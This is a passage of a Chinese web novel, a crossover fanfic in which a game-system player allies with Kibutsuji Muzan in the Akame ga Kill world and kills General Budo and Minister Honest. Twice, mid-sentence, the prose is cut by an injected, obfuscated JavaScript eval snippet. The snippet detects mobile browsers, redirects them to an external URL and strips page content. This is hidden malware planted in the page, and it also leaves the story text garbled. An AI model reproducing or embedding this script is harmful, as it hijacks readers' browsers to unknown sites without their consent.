“拉伯克就回去把我的话带给娜洁希坦,虽说是请你们帮忙,但我也不打算给你们拒绝的选择。”我知道对方的丝线帝具能神不知鬼不觉地缠上并切断我的胳膊,所以在说话的时候,我也给自己的整条手臂都覆上了钙质强化,将手与「香格里拉」连在了一起,“不答应的话,我就直接发动这个帝具把你们都抓回去。” 我告诉两人,不用将我当作帝国的忠臣走狗,也不用把我纳入他们的伙伴范围内。 最后的结果是我拎着断了脖子的席拉发动帝具「香格里拉」,落入宫殿庭院之后塔兹米当着艾斯德斯的面展现了自己身为夜袭成员的变身形态,又在与布德将军的对战中落败,被丢进了地牢中。 席拉大人遭歹人暗算战死,但临死前使用帝具将歹人抓捕回宫殿的埋伏内,也算英勇牺牲。这本来是我编好的说法,不过布德将军和艾斯德斯好像都对席拉的死不关心,狂野猎犬的成员也没那么在意这位大臣儿子的死因,只接过尸体后就去报告大臣了。 布德和艾斯德斯似乎都有些怀疑我,不过一个“精灵”奴隶又能做什么呢?反正剧情马上就要迎来尾声了,就像鬼舞辻无惨说的那样,推动情节更快速通就行。 之后应该也不用再装作精灵了,买道具的积分省下来买技能就行,如果要拿下布德将军的人头,可能得花上两到三个技能。 只是可惜我不能同时使用两种技能,法蒸体系没办法完全发挥出来。 帝国果不其然决定对塔兹米进行公开处刑,既杀鸡儆猴,也作为诱饵试图将夜袭一网打尽。 处刑定在帝国的竞技场,在那之前无惨似乎没有来找我的意思,那我就跟着狩人浑水摸鱼就行。 处刑当日,竞技场内座无虚席。帝都内的权贵无一不想亲眼见证夜袭成员的死状,而我在观众席最上方的贵宾座看见了鬼舞辻无惨。 距离太远了,只能看见模糊的影子,不知道他是否有向我这边看,但他出现在这里,倒也在我预料之中。 毕竟我有在整理剧情的时候写下过希望他能在这次劫刑场的行动后和夜袭见上一面的。 “他心里还是有我的吧。”我小声自言自语,在黑瞳投来困惑目光的时候随意地笑了笑表示自己什么都没说。 在商店买两颗技能石,运气好的话只需要一个就能结束战斗。 我可是馋那把名叫浪漫炮台的重型枪很久了。 处刑被从竞技场外飞来的激光弹打乱,观众席的贵族乱作一团开始逃窜,而鬼舞辻无惨顺理成章地,一跃而下来到竞技场中。 对前来劫刑场的夜袭等人来说,第三位帝具使的加入应该让行动的风险陡然增加,但玛茵的这把帝具有着使用者面临危机越大、自身威力就越强的特性,所以无惨的加入反倒能让玛茵打出更强的攻击。 话说,他应该不会真的下狠手攻击的吧…… “好喜欢啊,”我让黑瞳去帮忙保护观众,随口说了一句,“黑瞳,我真的很喜欢他呀。” 少女的目光平淡,带着同样淡淡的不明所以。 “所以我无论如何都想去到他身边呢……就像飞蛾扑火。” 也不对,应该说是向永远高悬夜空的明月伸手,贪图一点月光的温度。 我向前迈步,步伐逐渐加快,最后忍不住跑起来。 在这个有帝具作为特殊能力的世界,鬼舞辻无惨正毫不掩饰地将手臂化作异形,攻向前来支援玛茵的夜袭等人。我想我还是要感谢他的,因为他的攻击都有意无意地落在夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679152|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袭几名成员的身边,没有实际打到人身上,再仔细看的话,他的整个神态都显得很随意,应该完全没有放在心上。 艾斯德斯与布德也在各自迎敌,那么就是这个时候了。 就该在这个时候,我会把水搅浑。 “好久不见!我可是每天都在想你,每天都很喜欢你啊!”我从侧边冲进竞技场,将珐琅质的钙层裹上拳头,脚尖蹬地冲刺向鬼舞辻无惨,挥出一拳。 这么做颇有一种“全体目光向我看齐”的幽默感,不过今天的所有行动都是为了创造机会杀死布德将军——至少我是这样想的——所以任何拖延时间和分散注意的行动都是有效的。 无惨显然也对我突然的举动感到诧异,几乎就要用眼神骂出一句脑子是否有问题,抬起未变化的那只手接住了我的一拳。 “你在搞什么……”他握拳扣紧我拳上的钙质层,迅速发力将我甩到了一旁。 我在身体躯干上也覆上防护层,算是减少了冲击力,滚了几圈后重新爬起来。 艾斯德斯只向这里看了一眼,似乎毫不意外,只评价了一句“你管教宠物的方式还是有问题嘛”便继续专心应对变身后的赤瞳。 至于布德大将军,这人似乎从一开始就看不惯无惨,就像他看不惯帝都内的许多权贵一样。要除掉他只是因为他是帝国最强战力之一,而且他的愚忠让他即便知道大臣是作恶的元凶,也完全不打算遵从真正的公理,而是仍将夜袭与革命军视作反贼。 被多人合力夹击的布德开始发挥帝具的全部力量,他的帝具有控制雷电的能力,竞技场上方乌云滚滚,无数道雷击如圆柱般穿过云层打在地上,密集程度让人难以躲避。 雷击让竞技场受到了更严重的破坏,也是这一招让所有人的注意力都转移到了他那边,已经没人注意开始偷懒的我了。即便无惨也停下攻击来到我身旁,拎着我的衣领将我拽起来问我在做什么莫名其妙的事,而我又吐舌说因为好玩,也没有人发现我和他这种不合时宜的交流。 因为先前完成的支线任务,现在的夜袭比作品中拥有更多存活的战斗人员,围攻之下,布德身上的伤势远比原来更严重些,但更早被逼入绝境的他也同样发出了更猛烈的攻势,密集的雷电环绕在他身边,稍有不慎就会被击中,就算没有因电击重伤,也会在麻痹时被他近身攻击到。 夜袭几人身上还是不同程度地挂了彩,这个时候即便仍然没有我心中理想的法术输出队友,【钙质化】也还是得用出来发挥治疗和减速的效果。 娜洁希坦驾驶着飞行的危险种来接应众人,塔兹米爆发出潜力得到了帝具「恶鬼缠身」的回应,身体强化后一拳击飞艾斯德斯,也给大家争取到撤退的时间。 然而布德将军也不会轻易放过他们,他在危险种即将起飞的时候也升至空中,更汹涌的雷电在他身边聚集,他要倾注帝具内的所有力量,只为将夜袭组织在此全灭。 这样看来只需要用一个技能就行了,然后就是需要一把武器。 脚下迅速跑动,疾跑到玛茵身边,趁她帮娜洁希坦把被落雷击中昏厥的雷欧奈搬上危险种背部的时候来到她身后,双手按在她肩上翻身到她和娜洁希坦中间,最后抓起她手中的帝具「浪漫炮台·南瓜」,随后说着“借你帝具用一下”,在她们反应过来之前闪身溜了出去。 我抓着「南瓜」向鬼舞辻无惨跑去,最后一段距离飞身扑过去挂在他变为异形的手臂上,冲他笑了笑,调侃道:“拜托你把我扔上去吧无惨大人。” 他狐疑地看着我,但还是选择了相信我的决定,手臂变形的长鞭卷在我身上猛地发力,只一眨眼的功夫,我眼前的景象就变成了乌黑的云层和其中翻涌的闪电。 手中的技能石与帝具相融,在某一个瞬间,热兵器枪械之上竟浮现出巨大□□影子。 与猜想的一样,只要武器相似,就可以实现更多技能。 帝具是会自主选择使用者的,当使用者对它的印象是良性的,帝具就会回应使用者。 「南瓜」也是非常吃使用者精神力的帝具,需要让自己的情绪更高涨,当然现在这个时候估计没有人比我更兴奋了。 并非帝具本身的激光子弹,而是漆黑的箭矢,搭在弓弩影子若隐若现的炮台上。 “我看见你了。” 箭矢破空而出,直取布德心口,击碎胸甲,将积攒到一半的雷电能量打断。 【战术的终结】,老一辈开罐器的从容不迫,而罐头正是身着坚甲的布德将军。 空气中麻麻的感觉消失了,天上的雷云也一点点散开,枪上□□影子淡去,完成隐藏任务的提示响在我耳边。 鬼舞辻无惨应该也能听见系统的提示音吧,要不然为什么他抬头看我这里的时候带着笑意呢。 不过现在有一个新的问题。 我要在落地之前学会塞雷娅高空坠落无伤的方法。 21. 第 21 章 布德将军的胸口被弩箭贯穿,失去了对帝具的控制能力,壮硕的身躯在引力作用下自由落体。 不会飞的我当然也在往下掉啦,理所当然的事情。 我抱紧「南瓜」在自己周身加厚防护层,心说至少不能我把人家玛茵的帝具摔坏了。落地的冲击力比想象中小一点,钙层褪去,我躺倒在地。 致敬泰拉传奇高空落地大师塞雷娅。 “现在多少积分来着……”脑子有点混乱,先看看刚刚一波行动下来赚到什么好了。 【正在结算隐藏任务奖励】 【玩家现有积分:250分】 果然因为玛茵在漫画版剧情中只是精神力透支成为植物人,并没有像动画版那样死去,所以没有这边的支线任务啊,得到的奖励积分没有想象中那么丰富。 我又在心底骂了句真抠门。 今天来竞技场之前又买了一次易容道具伪装耳朵,这下反正所有人都看见我杀大将军了,下次可以省下这点分了。 艾斯德斯方才被塔兹米一拳击飞出去,现在也没来得及管我这边。 我看向鬼舞辻无惨眨眨眼。 他盯住我几秒,手臂变形的长鞭迅速飞袭而来,卷上我的脖颈,骨刺顶在血管的位置,把我提溜起来。 “虽然猜到你可能有问题,但你本事还挺大的啊,知道背叛我会是什么下场吗?”他说这话的时候总给我一种感觉——不像演的。 如果真的跟他闹掰了,好像会有不得了的后果。 我抱着手中的枪械帝具向他干笑着,编织了一下这个场合该说的话,放大音量说:“我帮了夜袭,所以会被抓起来拷问吧,那么顾问大人的手段难道比艾斯德斯还要狠吗?” “你最好不要太容易死掉了,不然会很无趣的。” 骨刺微微划破皮肤,刺痛感传来,我看着无惨此刻的表情,心中生出些微妙的感觉。 为什么隐隐觉得,他这番话似乎不仅是演着说给他人听的? 好奇怪,不过我应该没那么容易死吧,只要有治疗技能,自己的生存我还是能保证的。 就在我停下思索的功夫,突然感觉「炮台」的枪管周围有点轻微反光的东西,连带着我的四肢躯干上也有。 啊,无惨手臂变成的长鞭也有…… 眨眼的功夫,身上丝线收紧束缚的感觉让我反应过来这是拉伯克的帝具「交叉之尾」,在不知不觉的时候已经做好了一触即发的准备,在瞬间切断了无惨的手臂,其余收紧的丝线将我和帝具一同拉了上去。原来娜洁希坦刚才已经带着夜袭全员登上了作为飞行坐骑的危险种,现在顺手捞我一把。 我在远离地面之前抓住鬼舞辻无惨手臂后端的一节刺,迅速升空的位移让锋利的边缘在我掌中划破一道伤口,我张口用嘴型对他说了句“帝都郊外”,随后竞技场转眼在脚底缩小,我在惯性下摔在危险种背上。 运气不错,他们还愿意救我。 运气有点不好,他们拿着武器指着我。 “我们商量一下,把武器放下,我是说我们和平一点可以吗?”我才发现怀中抱着的「南瓜」已经回到了玛茵手中,应该也是拉伯克用线直接拉住抽走的。 娜洁希坦示意手下成员为自己让个位子,走近俯视着我说:“我需要知道你是否向他们透露过夜袭和革命军的情报,当然,必要情况下,我也并非不会拷问之法。” 呵,娜洁希坦,她到底之前也是帝国的将军,自然是会拷问方法的。 我还以为杀一个布德能让他们稍微相信我一点呢。 “我什么都没和他说,他也没问。”我双手撑在后方盘腿坐起,淡淡地冲他们笑笑,继续道,“他不在乎帝国的那些东西,也对夜袭和革命军不关心,看在我解决了布德大将军的份上,要不要和他见见面?” 对方陷入了沉思。毕竟我确实做了件对他们有利的事,反复横跳的行为让我的立场变得暧昧,但鬼舞辻无惨在这个世界的身份依然不坐好,而且刚才在竞技场见识过他一部分实力的夜袭首领也要考虑一下见面是否会有危险。 因为拿不准主意,她看向了夜袭的其他成员。 希儿先放下了剪刀模样的帝具,她认为我之前拼尽全力救过她和玛茵,或许是有什么其他苦衷,可以相信一下。 拉伯克和赤瞳表示不能被表象所骗,因为当时的赛琉还只是普通的警备队成员,牺牲一个小姑娘换取夜袭的信任,做出这种事也并非没有可能。 塔兹米有些犹豫,玛茵和雷欧奈说她们听娜洁希坦的,但玛茵对我抢走她帝具的行为还是有点不爽,看向我的眼神不是很和善。 “我说,”我心说再辩解两句,实在不行也增加一点自己身上的筹码,“我知道皇帝和大臣最终的秘密兵器,还有狂野猎犬剩余人员的信息,如果愿意去见一面鬼……月彦顾问的话——我和他约好在帝都城郊,我就把知道的都告诉你们,如何?” 不得不说,暗杀行径再怎么不光彩,作为主角团,夜袭是有较高的道德底线的。 具体一点就是他们没打算把我当作人质去和鬼舞辻无惨对线,当然就算他们这么做了也不会有结果就是了,这种程度的威胁还是不会限制住无惨的。 答应我的提议也在意料之中,因为即便都知道艾斯德斯是革命军必须跨越的高墙,作为统领的娜洁希坦也一定会思考,大臣和皇帝是否另有底牌。帝具的神秘面纱并未被完全揭开,既是初代皇帝留下的、为延续帝国而存在的武器,真正的“最强”也必然在皇族手中。 鬼舞辻无惨凭借我留在他骨刺上的血很快找到了飞行危险种降落的位置,虽说我也和夜袭点明了他对他们没兴趣,但戒备还是不会少。 “留下自己的血让我顺着气息找过来,你把我当成什么了?”他走近我低下头,面色不善地问我。 “这不是方便嘛,因为我也不确定他们会飞到哪里,就顺手……” 我在他双肩上轻轻推了推,要说不心虚那是假的,但我绝对没有耍他的想法。 顺手,对,就是顺手。 他轻声叹气道:“我早就知道你的血的气味了,能不能动动脑子?是你说要配合你演那无聊的戏码,不然那么难喝的血难道我还愿意当作点心吗?” “可是你说营养还挺足的,良药苦口吧,再说我自己偷偷尝过味道也没有唔……” 无惨抬手钳住我的脸颊,冰冷的手掌覆在我唇前,堵住了我还未说完的话。 在塔兹米颇有些无奈地询问我们是否需要点额外的时间时他甩过去一记眼刀,这下谁都没有继续说话了。 喂。 “我不喜欢浪费时间,你们可以直接提出你们的想法,但别以为我听完就会愿意帮你们。” 他瞥了我一眼,示意我少说两句,松手将我推回夜袭那边。 “这个就顺手借给你们吧,至少没那么容易死掉。”他在说到顺手这个词的时候加重了咬字。 真没素质! 想都不用想,无论夜袭怎样试图动之以理晓之以情,鬼舞辻无惨都不会为他们感动半分。 大概他给出的最大帮助就是什么都不做袖手旁观了吧,毕竟艾斯德斯再怎么强大也终究是人类,而他们永远不会知道无惨并非帝具使,而是货真价实的非人生物。 但至少我先留在夜袭了。 分别之前,我把帝国最强帝具的秘密告诉了他,希望他能帮忙打探一下消息,当然如果能提前破坏一部分就更好了。他对我随意使唤他的态度确实有点不爽,让我别抱太大希望。 “那个东西的存放处说不定只有皇族血统才能进入,虽然把那小皇帝变成鬼或许也不错,但那种小鬼实在没什么用。” 回夜袭之后我自然也是,几乎都被监视着。 也不是不能理解,但确实有点烦。 盘算着要不要找机会开溜等决战再加入进来,赤瞳在一个夜晚面色凝重地回到了据点。 话语从她口中流出,与我心里回忆起的内容一字一句对应上。 赤瞳与黑瞳,这对分别又重逢、曾经并肩前行如今却分道扬镳的姐妹,要在最终的决战来临之前处理自己的个人事务了。 通俗地说,就是她们决定生死决斗。既然谁也无法说服谁,两人无法一同战斗,那便由至亲杀死至亲,这是她们都认同的决策。 如果是动画版的话,黑瞳会被赤瞳杀死,但漫画版的黑瞳没有迎来死亡结局。 原本帝具使之间的战斗必然会有一方死亡,而这里的剧情打破了这条默认的因果规则,认清自己喜欢黑瞳的狩人的威尔赶来阻拦了战斗,表示会带黑瞳远走他乡去寻找传说中能治愈黑瞳身体的温泉,至此,姐妹俩的故事圆满落幕。 事情也是这样发展的。塔兹米和雷欧奈理解了赤瞳的决定,为了防止埋伏打断姐妹二人的决斗,他们陪赤瞳一同前往了约定的决斗之处,雷欧奈在出门之前把刚睡着的我薅了起来一起拽了过去。 “所以为什么,我也要来?” “因为不放心你留在据点嘛,话是这么说的,我还是希望能相信你啦。”雷欧奈把我夹在胳膊下像抱沙袋一样抱着我往决斗处跑,虽然我也有点想问她为什么不能让我自己走两步,但正好借这个时间再眯一会。 距离目的地越来越近,她的脚步放缓,突然问我:“你好像一点都不担心她们姐妹的决斗,是因为你和那个顾问一样‘没有兴趣’,还是你知道结果?” 我沉默以对。 “总感觉你在最初说的自己的预言能力不是真话,但你好像又真的一直都能知道未来会发生什么,我没说错吧。” 唉,野兽的直觉吗,真不好对付。 雷欧奈的帝具是可以让她向狮子的兽化变身,在这个过程中,她也会受到帝具的影响,灵魂与帝具融合,整个人的思维也有帝具中狮子王的影子。塔兹米也是这样,现在的塔兹米身上都出现了龙化的样子,是和帝具中的危险种融合的表现。 “哦,到了。”雷欧奈将我放下来,没再说之前的话题。 只是希望她那野兽的直觉也能觉得我不是会针对他们的人啦…… 话虽如此,想到她在作品中的结局,我还是没忍住多嘴对她说了一句:“我不希望你死去,雷欧奈……不要一个人去杀大臣。” 她投来困惑的目光,随后摆摆手,说那种人当然是要抓来交给民众处置。 赤瞳与黑瞳决斗的剧情没有任何节外生枝,威尔赶来打断决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679153|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗,在黑瞳表示自己无法逃离为帝国暗杀效力的命运时,他夺过了她手中的太刀型帝具「八房」准备击碎,以表示黑瞳无需为逃离帝国而痛苦,无需背负杀人的重负。 然而他的拳头挥出去的那一刻,「八房」消失不见了。 嗯?怎么会消失? 没有任何被人抢夺的迹象,只是他手中的那把太刀整个消失了。 我没忍住从树丛后走出,上前查看情况,所有人都面面相觑,直到我耳边响起突兀的提示音。 【帝具「死者行军·八房」已收入装备栏】 手中唐突多出一份重量,长度足有半人高的太刀不知何时装入刀鞘,其上的损伤也全然清除,宛若崭新帝具的「八房」就这么被我捧在了手中。 身边几人听见刀具的轻微响声转头看来,我手中的武器又一下消失不见,但我能感觉到如果自己打开那所谓装备栏,是可以调出来使用的。 所以,我拿「八房」? 迎上数道视线,我连忙摆手干笑两声:“没事……” “罢了,「八房」消失不见,但留下的尸体傀儡还能作为证明,就当作是两名狩人和帝具一同在战斗中彻底粉碎了吧。”赤瞳长出一口气,重新看回妹妹黑瞳那边。 之后他们都在说什么我也没工夫仔细听了,我仍在思考为什么会突然把「八房」收进我自己的装备栏。 先不谈我有没有主动去抢夺这件武器,帝具和帝具使之间也是需要互相选择的,「八房」的特殊能力就是将杀死的人转化为傀儡为帝具使所用,应该说是一个阴暗色彩比较浓重的帝具。关于这个选择的说法,最看重的是人对帝具的第一印象。 我对它的第一印象大概是……回忆自己初次观看作品时的感受,那时我应该是觉得,这把刀的实力有点吓人,但很厉害很全能,毕竟也是死灵术士的把戏。 所以帝具选择了我? 不不不,我并没有黑瞳那样恐怖的执念,不会有即使将死去的同伴手足变成傀儡也要永远在一起的想法的,「八房」没理由选我啊。 告别了威尔和黑瞳,我与赤瞳他们一起返回夜袭据点。经过一晚的折腾,几人也纷纷回去休息,只有赤瞳在守夜。 我瞄见她对着篝火深思着什么,多半还是关于妹妹的事情,一时不会注意自己这边,便重新拿出装备栏中的「八房」。 帝具会在使用中磨损,但现在的「八房」完全就是一把新刀。抽刀出鞘,太刀刀刃上闪着幽幽的紫光,是如同帝具自身能力一样不祥的色彩。 “为什么会选择我呢……”我低声自语,细细端详着手中的刀具。 当然有道具不用是傻瓜,「八房」本身就是优秀的武器,杀死敌人也能转为可控制的最多八具傀儡,甚至能用一种我也不知道的原理让傀儡随时隐藏又随时出现——都不知道怎么携带在身边的,剧情里大多都是破土而出。 方便吗,这是我对这把刀总体的评价,因为有些时候敌方的能力确实强到会让我有种“要是能自己用就好了”的感觉,如果是因为这个理由,让「八房」选择我的话,倒也无可厚非。 脑中闪过一瞬鬼舞辻无惨的面孔。 说起来,他没有打算把我变成鬼吗?明明那样会更方便而且更强一点吧。 如果是因为不愿意把血液分给不喜欢的对象的话,也是可以理解,按我自己的性子,变成鬼之后肯定会从早到晚都赖在他身边,烦不死他就怪了。 但是「八房」不一样,这把刀控制的傀儡是召之即来挥之即去的工具,平时不用的话收起来也眼不见为净。 我将刀收入鞘中,心中默念着收回道具栏,手中的太刀又消失不见。 为什么会想到这个? 我重新躺下闭上双眼,「八房」控制尸体的画面仍历历在目,以后这就是我能用的了,也是所有使用者都能用上的。 所以,如果使用者拿它自杀会怎样? 不要想这种莫名其妙的东西了。 日子一天天过去,距离决战攻入帝都的日期也逐渐逼近。 最后的战斗打完,这个世界的任务就结束了,这场决战也是在这里最后赚取积分的机会。根据之前的隐藏任务推断,减少帝都内平民伤亡应该也能赚分,估计是根据人数来结算分数。 年幼的皇帝即将开出那辆长得无比像高达的大型帝具,在那之前我要找到鬼舞辻无惨。 因为有话要告诉他,虽然我能保证自己会活到最后,但我现在就要告诉他,多等不了一分一秒! 无惨对我突如其来的出现表现出些许诧异:“现在不是给你闲逛的时候吧,你在做什么?” 我调出「八房」摆在他面前,方才的疾跑让我的呼吸有些急促。 “这把刀能将杀死的人变成傀儡,只在需要的时候召唤出来用,不知道为什么反正现在归我了。”呼吸在言语中平复下来,我直直看进他那对猩红的双眸,“考虑到变成鬼可能也会一直烦你,你又不一定愿意吃掉我——毕竟血那么难喝。” 因为我无论如何,都不想离开他。 无论如何,在这段旅程之后,我越发地,无法想象分别的场面。 “在你需要的任何时候,用这把刀杀死我。” 22. 第 22 章 “在你需要的任何时候,用这把刀杀死我。” 绕过帝都皇城外围的主战场,躲过穿行在小巷中的暗杀部队,我在靠近宫殿的地方找到了鬼舞辻无惨。 不知为何,我就是知道他在这。 「八房」带我来到这里。 说完这句话之后我才意识到帝具性能的惊人之处,在强烈的执念之下能回应使用者的心愿,不过若是「八房」的话…… 总不能把我的心愿当成拿无惨做尸体傀儡了吧。 “你在说什么没头没尾的话,而且我为什么要按你说的做?”无惨似乎是有些语塞,没好气地反问我一句。 上头的情绪褪去一些后,尴尬慢慢卷上心头。 好像确实,有点不太对,呃……可以当作无事发生离开吗…… “看见那个了没有?你现在应该去那边,别做莫名其妙的事情。”他翻了个白眼,这时地面微微晃动,他向外看一眼指向远处拔地而起的巨大机甲帝具,“别又怪我没帮你,这种东西可没几个人能直接破坏的。” “嗯……其实我看漫画的时候看到这段也觉得挺离谱的。” 我看向那座机甲「至高王座」,机甲的胸□□出一道激光,扫向城外聚集的革命军队伍。爆炸的火光沿着激光路径亮起,巨大的轰鸣震得耳朵有些嗡嗡的,哪怕这里看不见城外的景象,我也知道这部机甲帝具的威力。 激光所到之处,人都会瞬间被熔化。 所以说这根本就是高达嘛! 真受不了这种写到最后到处捏他到处取材的作品! 高达,不,机甲帝具「至高王座」的肩甲处打开弹药舱,无数炮弹又从机甲身上飞出,向革命军处轰击。狂轰乱炸之后,暂时平静了下来。 帝具的威力很强,但皇帝本人确实还是个十几岁的小孩子。 正因为是没有自主能力的孩童,才会被奥内斯特大臣顺耳的谗言蒙蔽双眼,一直以为自己所做的是正确的,连父母其实是被大臣谋害的都不知道。 同样也因为是孩子,在这种时候还在考虑尽量避开帝国的军队,只攻击敌方首领,也就是娜洁希坦。 机甲的动作停了下来,随着操控着的动作左右看着。 说起来漫画的剧情,似乎最后是奥内斯特大臣强行夺取了帝具控制权,发动了肃清模式,而这个模式又是他之前找炼金术士改造的,那么早一步解决大臣应该就能跳过肃清模式直接结束战斗。 这个时候赤瞳她们应该有潜入宫殿去刺杀最后的一批帝国核心人员,但因为正面战场也需要帝具使把握战局,所以进入帝都内部的还是只有赤瞳、雷欧奈和拉伯克。 「八房」不能被这个世界的其他人再看见,我将刀收回系统装备栏,对鬼舞辻无惨说:“不用管那边,我们回宫殿。” 在原作情节里即便娜洁希坦嘱咐进入宫殿的刺杀行动不能分开,但雷欧奈为了更快杀死大臣还是会选择分头行动。这是个致命的决定,即便最初的预测中奥内斯特大臣可能持有帝具,一般人也会认为这种人只是酒囊饭袋,可他却也是曾练过一身拳法,经过「狮子王」强化的雷欧奈也不是他的对手。 而且他最危险的地方更在于他的帝具,那是个可以直接破坏其他帝具的玩意,雷欧奈身上的「狮子王」要是被破坏了,那受的伤是真的无法再痊愈了。 虽然我也很想让那个大臣尝尝和原作结局一样的凌迟,但如果想完成我自己的游戏任务,就不能考虑那些了。 “单靠那小孩皇帝是打不过塔兹米的,把大臣直接解决掉会很方便,也能赚点分。”脚下的速度逐渐加快,没工夫思考为什么自己能疾跑,我加快了呼吸的节奏,余光处瞥见从城墙外飞来的塔兹米的身影,知道自己该加快速度了。 因为鬼舞辻无惨在这里所有人眼中的形象都是帝国的皇帝顾问,跟着他进入宫殿后意料之中地没受到任何阻拦。同样,他甚至毫不费力地问出了大臣指挥皇帝作战的地点。 这样下来,我们的速度甚至比一路迎敌的夜袭二人还快了。 我告诉无惨他说的对,这个身份确实有大用处。 “但是说真的我打不过那个胖子,他在皇拳寺修炼过,比我这种只靠数值玩力大砖飞的要会打架。”进入大臣所在的露台之前,我凑近无惨耳边小声问他,“能不能也顺便帮帮我?” 他冷笑一声说:“你又想指使我?就算是借着你那喜欢为我想想,难道我就愿意沾上那一堆恶心的脂肪吗?” “可以不见血……我的意思是你说得对,确实很恶心,鬼是不是还能闻到那种油脂的气味,呃我是说……当我没说最后那句。” 我在他的眼神下改了口,心虚地眨眨眼。 “多赚点分就能多买道具了嘛,有了积分克服阳光的那种道具以后你就能随便买,至少在不同的世界玩还算挺新奇的对吧?” 鬼舞辻无惨在我说出那句“帮帮我鬼舞辻先生”的时候并没有给我好眼色,只是向前推开露台的门,径直走向观看战斗的奥内斯特大臣。 听见动静的大臣向后扫了一眼,确认是对他似乎无害的“同僚”后重新放松下来,兴致勃勃地介绍起了战况,不屑地发表着“都是他们要反叛帝国,把我逼到这个地步,我才不得不召唤出最强的帝具,都是这群蝼蚁的错。” “啊,是嘛。” “只要有这个帝具,还有艾斯德斯和月彦顾问你在的话,帝国将会延续下去,而我也能一直享受着美满的人生到……” “我不喜欢话很多的人,太聒噪。”鬼舞辻无惨完全没听奥内斯特大臣说了什么,只走近他身后,变形的手部长鞭刺穿了他的胸口,“大臣,我其实对这个国家也没有兴趣,不过都到了这个时候了,带给你一份礼物。” 他收回手臂,看着大臣扶着扶手站起身,肥胖的身躯和踉跄的动作打翻了旁边摆着酒肉的茶桌,正喘粗气看过来。他侧身让开一个身位,大臣脱下了厚重的外袍。 所以,又是我? “若是她没能杀死你,那我也放你一命,如何?” 真难以想象我在原本平静的生活里只是个普通的大学生,而现在我已经能熟练调整进入迎战状态了。银白色的高纯度钙覆盖双拳,我不得不紧盯着奥内斯特大臣的每一个动作,要在最关键的时候使用【钙质化】减缓他的攻击,找到机会解决他。 他不是个好对付的人,即便胸口受到贯穿伤,但他还有较强的行动能力,出拳的力气也没有减小,拖延时间似乎也对他不起作用。当然我知道有一招对付他最有效。 我故意让他打中了肩膀,骨骼碎裂的疼痛蔓延至半身,我深吸一口气展开了【钙质化】的范围。感受着肩膀伤口逐渐修复,而大臣的脚步被迫慢下来,我笑着告诉他:“只要有这招在,我就不会死呀,而且被迫减速的你,还怎么保持进攻架势呢?” “你们这种蝼蚁,怎能这样对我,我可是大臣!”他的五官几乎都要扭在一起,竭力挥拳也仍只能打出慢速的拳法,只有嘴还能不断地呼喊,“我怎么会被你这样的垃圾打倒,你以为自己的帝具就很出色吗?垃圾的帝具也是垃圾,给我看好了!” 要的就是这一刻。 只见奥内斯特大臣额前的菱形头冠突然裂开,露出其中的一块宝石,在扫向我与旁边看戏的鬼舞辻无惨后爆开,露台上一片沉寂。 “哈哈,怎么样,我的帝具,虽然接下来一周不能用了,但你们的帝具都彻底报废了。”奥内斯特大臣自认自己已经获得了最终胜利,半场开香槟般笑了起来。 鬼舞辻无惨不语,我看着大臣胜券在握的模样,悄悄收起手上的钙层。 他向我这冲刺而来,挥拳就向我面颊,而他的笑容最终也在拳头打上钙质壁垒时戛然而止了。 “怎么,可能……” 我终于没忍住笑出了声。 “奥内斯特大臣,身为大臣,你应该才是对帝具最了解的人之一呀。”钙质裹上脚跟,我抬腿用力踹在他腹部,将他踢飞,“你就没有想过,为什么自己从未听说过我与顾问大人的帝具呢?” 他飞出一小段距离,在地上滚作一团,我心说我的踢击力度比起专业战斗人员还是小了些。 真没想到他作为皇帝身边的人,居然都没有怀疑过我给自己和无惨编的两个帝具名的真实性,实在有些太蠢了。 我看见他瞥向无惨,他注意到了无惨口中货真价实的尖牙,那是绝对不属于人类的牙齿。 无惨让我别浪费时间,我告诉他奥内斯特的身体强度这么高,一般的攻击可杀不了他。 细小的钙物质在空中凝结成白色颗粒,逐渐变成剑刃的形状。 钙质化的源石技艺持有者塞雷娅是百分之百的保守者,是风浪中站至最后的屹立不倒的磐石,所以她表现出来的更多是保护。但控制一种元素的能力本身,若是活用想象力的话,无论是什么,都能具有无限的攻击性。这种事杰斯顿都给大家表现过了。 我不是保守者,我成为不了保护的角色,而既然是游戏任务,我就会用各种方式完成。 剑刃向着奥内斯特大臣飞去,其实它们并不锋利,但硬度足够让人感到疼痛。只顾着防御的大臣最终脚下不稳向后翻倒,我自然也不会自信到只用这招就能杀死他,抓准他摔倒的时刻扑向他,膝盖顶上他肚子的那堆肥肉,将随身携带的短刀刺进他口中。 身体锻炼得再结实,都不可能连体内器官的硬度都增加的,所以要杀他最好的就是从口腔下刀。 不能让这家伙像原作一样被一人一刀凌迟处死确实有些可惜,也不够解气,但隐藏任务的分数摆在面前,不赚分是傻子。 【完成隐藏任务,获得积分奖励50分】 雷欧奈在奥内斯特大臣彻底咽气后迈入露台,系统也正好播报到下一条。 【完成支线任务,获得积分奖励30分】 一口气赚80分,爽死。 我告诉雷欧奈这边没啥事了,让她快些回去支援正面战场,因为艾斯德斯才是真正的最终BOSS,那边更需要她帮助。 “无惨,我在想,”雷欧奈离开后,我看向相比起略显狼狈的我,身上几乎一尘不染的鬼舞辻无惨,“你是不是很喜欢故意给我找点麻烦,看我焦头烂额的样子?” 